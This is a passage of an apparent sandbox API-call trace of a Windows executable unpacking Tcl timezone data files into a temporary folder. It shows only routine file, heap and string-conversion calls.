returned 1 [0041.318] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dd88 | out: hHeap=0x530000) returned 1 [0041.319] htonl (hostlong=0x30000000) returned 0x30 [0041.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.320] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.332] GetFileType (hFile=0x10c) returned 0x1 [0041.335] htonl (hostlong=0x2aa35b00) returned 0x5ba32a [0041.336] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60532a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.357] htonl (hostlong=0x92000000) returned 0x92 [0041.357] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x55cfe0 [0041.357] htonl (hostlong=0x92000000) returned 0x92 [0041.357] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.357] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.357] htonl (hostlong=0xbf000000) returned 0xbf [0041.357] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbf) returned 0x55dbf8 [0041.357] htonl (hostlong=0x92000000) returned 0x92 [0041.357] htonl (hostlong=0xbf000000) returned 0xbf [0041.357] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.357] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.357] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.357] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.357] CloseHandle (hObject=0x10c) returned 1 [0041.357] GetLastError () returned 0x0 [0041.357] SetLastError (dwErrCode=0x0) [0041.357] GetLastError () returned 0x0 [0041.357] SetLastError (dwErrCode=0x0) [0041.357] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.358] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.358] GetFileType (hFile=0x10c) returned 0x1 [0041.358] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.358] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.358] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.358] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.358] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.358] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.358] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.358] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.358] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.358] CloseHandle (hObject=0x10c) returned 1 [0041.358] GetLastError () returned 0x0 [0041.358] SetLastError (dwErrCode=0x0) [0041.358] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.358] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.358] GetFileType (hFile=0x10c) returned 0x1 [0041.358] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.358] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.358] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.358] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.358] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.358] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.359] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.359] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.359] CloseHandle (hObject=0x10c) returned 1 [0041.359] GetLastError () returned 0x0 [0041.359] SetLastError (dwErrCode=0x0) [0041.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada") returned 63 [0041.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.359] GetFileType (hFile=0x10c) returned 0x1 [0041.359] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.359] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.359] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.359] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.359] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.359] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.359] CloseHandle (hObject=0x10c) returned 1 [0041.359] GetLastError () returned 0x0 [0041.359] SetLastError (dwErrCode=0x0) [0041.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Newfoundland") returned 76 [0041.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Newfoundland" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\newfoundland"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.359] GetLastError () returned 0x2 [0041.360] SetLastError (dwErrCode=0x2) [0041.360] GetLastError () returned 0x2 [0041.360] SetLastError (dwErrCode=0x2) [0041.360] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Newfoundland", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Newfoundland", lpFilePart=0x0) returned 0x4b [0041.360] GetLastError () returned 0x2 [0041.360] SetLastError (dwErrCode=0x2) [0041.360] GetLastError () returned 0x2 [0041.360] SetLastError (dwErrCode=0x2) [0041.360] GetLastError () returned 0x2 [0041.360] SetLastError (dwErrCode=0x2) [0041.360] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Newfoundland") returned 76 [0041.360] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Newfoundland" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\newfoundland"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.362] GetFileType (hFile=0x10c) returned 0x1 [0041.362] htonl (hostlong=0xbf000000) returned 0xbf [0041.362] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.362] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbf, lpOverlapped=0x0) returned 1 [0041.363] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.363] CloseHandle (hObject=0x10c) returned 1 [0041.363] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dbf8 | out: hHeap=0x530000) returned 1 [0041.363] htonl (hostlong=0x40000000) returned 0x40 [0041.363] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.363] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.364] GetFileType (hFile=0x10c) returned 0x1 [0041.364] htonl (hostlong=0xbca35b00) returned 0x5ba3bc [0041.364] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6053bc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.364] htonl (hostlong=0x8f000000) returned 0x8f [0041.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x55cfe0 [0041.364] htonl (hostlong=0x8f000000) returned 0x8f [0041.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.364] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.364] htonl (hostlong=0xbd000000) returned 0xbd [0041.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbd) returned 0x55e0a8 [0041.364] htonl (hostlong=0x8f000000) returned 0x8f [0041.364] htonl (hostlong=0xbd000000) returned 0xbd [0041.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.364] CloseHandle (hObject=0x10c) returned 1 [0041.364] GetLastError () returned 0x0 [0041.364] SetLastError (dwErrCode=0x0) [0041.364] GetLastError () returned 0x0 [0041.364] SetLastError (dwErrCode=0x0) [0041.364] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.364] GetFileType (hFile=0x10c) returned 0x1 [0041.365] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.365] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.365] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.365] CloseHandle (hObject=0x10c) returned 1 [0041.365] GetLastError () returned 0x0 [0041.365] SetLastError (dwErrCode=0x0) [0041.365] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.365] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.365] GetFileType (hFile=0x10c) returned 0x1 [0041.365] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.365] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.365] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.365] CloseHandle (hObject=0x10c) returned 1 [0041.366] GetLastError () returned 0x0 [0041.366] SetLastError (dwErrCode=0x0) [0041.366] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada") returned 63 [0041.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.366] GetFileType (hFile=0x10c) returned 0x1 [0041.366] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.366] CloseHandle (hObject=0x10c) returned 1 [0041.366] GetLastError () returned 0x0 [0041.366] SetLastError (dwErrCode=0x0) [0041.366] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Pacific") returned 71 [0041.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.366] GetLastError () returned 0x2 [0041.366] SetLastError (dwErrCode=0x2) [0041.366] GetLastError () returned 0x2 [0041.366] SetLastError (dwErrCode=0x2) [0041.366] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Pacific", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Pacific", lpFilePart=0x0) returned 0x46 [0041.366] GetLastError () returned 0x2 [0041.366] SetLastError (dwErrCode=0x2) [0041.366] GetLastError () returned 0x2 [0041.367] SetLastError (dwErrCode=0x2) [0041.367] GetLastError () returned 0x2 [0041.367] SetLastError (dwErrCode=0x2) [0041.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Pacific") returned 71 [0041.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\pacific"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.367] GetFileType (hFile=0x10c) returned 0x1 [0041.367] htonl (hostlong=0xbd000000) returned 0xbd [0041.367] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.367] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbd, lpOverlapped=0x0) returned 1 [0041.368] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.368] CloseHandle (hObject=0x10c) returned 1 [0041.369] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e0a8 | out: hHeap=0x530000) returned 1 [0041.369] htonl (hostlong=0x30000000) returned 0x30 [0041.369] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.369] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.369] GetFileType (hFile=0x10c) returned 0x1 [0041.369] htonl (hostlong=0x4ba45b00) returned 0x5ba44b [0041.369] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60544b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.369] htonl (hostlong=0x90000000) returned 0x90 [0041.369] RtlAllocateHeap (HeapHandle=0x530000, 